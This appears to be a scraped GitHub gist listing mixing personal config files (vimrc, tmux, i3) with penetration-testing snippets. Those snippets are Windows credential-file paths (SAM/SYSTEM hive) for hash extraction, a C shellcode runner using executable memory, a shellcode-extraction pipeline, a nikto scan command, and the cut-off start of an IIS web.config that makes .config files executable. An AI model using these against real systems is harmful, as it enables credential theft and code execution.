Skip to content

Instantly share code, notes, and snippets.

@prachauthit
prachauthit / windows_blind
Created July 3, 2017 08:54 — forked from sckalath/windows_blind
Windows Blind Files
%SYSTEMDRIVE%\boot.ini
%WINDIR%\win.ini This is another file that can be counted on to be readable by all users of a system.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM Stores user passwords in either an LM hash and/or an NTLM hash format. The SAM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM These files store the LM and NTLM hashes for local users. Using Volume Shadow Copy or Ninja Copy you can retrieve these files.
%WINDIR%\repair\sam
%WINDIR%\repair\system
@prachauthit
prachauthit / invokeAllChecks.vbs
Created July 3, 2017 08:55 — forked from ImAnEnabler/invokeAllChecks.vbs
VBscript implementation of the Invoke-AllChecks function of PowerUp using WMI
'-'
'-' invokeAllChecks.vbs
'-'
'-' VBscript implementation of the Invoke-AllChecks function of PowerUp developed by @harmj0y
'-' by: @ImAnEnabler
'-'
'-' In the environment I work, sc.exe is not allowed for non-admins, so I used WMI instead.
'-' Save the vbs file and run with cscript:
'-' cscript //nologo invokeAllChecks.vbs
@prachauthit
prachauthit / vimrc
Last active July 5, 2017 14:47
.vimrc
"git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim
set nu
syn on
filetype plugin indent on
autocmd Filetype python set et smarttab ts=4 sw=4 list lcs=tab:>-,trail:.,nbsp:_
set nocompatible " be iMproved, required
filetype off " required
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'
@prachauthit
prachauthit / bash
Created July 6, 2017 09:34
nikto with html output
!#/bin/bash
nikto -h example.com -Display V -F htm -output niktoscan.html
@prachauthit
prachauthit / shellcode_compile.c
Created August 9, 2017 13:52
shellcode_compile.c
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
//paste your shellcode in sc variable eg. /x00/x00
char sc[]="" ;
int main(){
void * a = mmap(0, 4096, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
printf("allocated executable memory at: %p\n", a);
((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}
# This file has been auto-generated by i3-config-wizard(1).
# It will not be overwritten, so edit it as you like.
#
# Should you change your keyboard layout some time, delete
# this file and re-run i3-config-wizard(1).
#
# i3 config file (v4)
#
# Please see https://i3wm.org/docs/userguide.html for a complete reference!
#https://gist.github.com/AVGP/589604
nasm -f elf32 -o user.o user.nasm
ld -m elf_i386 -o user user.o
objdump -d ./user|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
# create or add this to ur ~/.tmux.conf
#set prefix
set -g prefix C-a
bind C-a send-prefix
unbind C-b
set -g history-limit 100000
set -g allow-rename off
#!/bin/bash
device=$(xinput | grep SYNA | cut -f 2 | grep -oE [0-9]{2})
echo $device
xinput disable $device
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />